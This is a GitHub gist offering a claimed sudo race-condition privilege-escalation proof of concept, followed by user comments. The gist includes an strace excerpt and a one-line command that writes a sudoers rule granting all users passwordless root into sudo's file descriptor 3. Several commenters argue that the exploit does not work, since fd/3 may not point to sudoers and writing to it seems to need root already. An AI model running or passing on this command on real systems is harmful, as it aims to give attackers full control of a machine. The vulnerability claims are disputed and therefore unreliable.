-
-
Save oxagast/51171aa161074188a11d96cbef884bbd to your computer and use it in GitHub Desktop.
# oxagast / Marshall Whittaker | |
# | |
# The echo line uses sudoers file format to allow for everyone to | |
# use the root account and writes it to proc/23423/fd/3 (where | |
# the number is sudo's process. If you have write access to file | |
# descriptor 3 it gives you root! | |
# Cavets: sudo must be running asking for a password at the time. | |
# you must have write permission to 3. | |
# | |
# Race condition between when getting the uid of sudo and the | |
# setresuid and openat() syscall before being reset to 0 here. | |
# | |
# --- SNIP --- | |
# getresuid([0], [0], [0]) = 0 | |
# getresgid([0], [0], [0]) = 0 | |
# openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY) = 3 | |
# fstat(3, {st_mode=S_IFREG|0644, st_size=556, ...}) = 0 | |
# read(3, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) = 556 | |
# read(3, "", 4096) = 0 | |
# close(3) = 0 | |
# setresuid(-1, 1, -1) = 0 | |
# stat("/etc/sudoers", {st_mode=S_IFREG|0440, st_size=39, ...}) = 0 | |
# openat(AT_FDCWD, "/etc/sudoers", O_RDONLY) = 3 | |
# fstat(3, {st_mode=S_IFREG|0440, st_size=39, ...}) = 0 | |
# read(3, "root ALL=(ALL) ALL\n%sudo ALL=(AL"..., 4096) = 39 | |
# lseek(3, 0, SEEK_SET) = 0 | |
# fcntl(3, F_SETFD, FD_CLOEXEC) = 0 | |
# setresuid(-1, 0, -1) = 0 | |
# --- SNIP --- | |
echo "ALL ALL=(ALL) NOPASSWD:ALL" > /proc/`pgrep sudo`/fd/3 |
It's only viable if you can write to fd/3. So you'll need to pair it with something else that has arbitrary write to any file descriptor.
Since fd/3 is just a symbolic link to /etc/sudoers I don't see how you could write to it unless you have sufficient privileges to write to /etc/sudoers. In which case, what's the point?
Apart from the issue of not having write access to fd/*, fd/3 does not necessarily points to /etc/sudoers because it depends on the sudo command we are passing before running echo "ALL ALL=(ALL) NOPASSWD:ALL" > /proc/pgrep sudo
/fd/3.
In my test environment, I had:
[test@abcdefg ~]$ sudo ls -l /proc/11730/fd
total 0
lrwx------ 1 root root 64 Nov 12 00:41 0 -> /dev/pts/1
lrwx------ 1 root root 64 Nov 12 00:41 1 -> /dev/pts/1
lrwx------ 1 root root 64 Nov 12 00:41 10 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Nov 12 00:41 11 -> 'socket:[11557214]'
lrwx------ 1 root root 64 Nov 12 00:41 2 -> /dev/pts/1
lr-x------ 1 root root 64 Nov 12 00:41 3 -> /var/lib/sss/mc/passwd
lrwx------ 1 root root 64 Nov 12 00:41 4 -> 'socket:[11556811]'
lr-x------ 1 root root 64 Nov 12 00:41 5 -> /etc/sudoers
lr-x------ 1 root root 64 Nov 12 00:41 6 -> /var/lib/sss/mc/initgroups
lr-x------ 1 root root 64 Nov 12 00:41 7 -> /var/lib/sss/mc/group
lrwx------ 1 root root 64 Nov 12 00:41 8 -> /run/sudo/ts/test
lrwx------ 1 root root 64 Nov 12 00:41 9 -> 'socket:[11556818]'
where fd/5 points to /etc/sudoers, the poc did not work for me.
I see MITRE assigned CVE-2019-18684 to this.
I am not sure what the vulnerability is:
/proc/`pgrep sudo`/fd/
would be restricted to root because the sudo binary is setuidConsequently it seems this is only exploitable if the attacker is already root.
Can you clarify?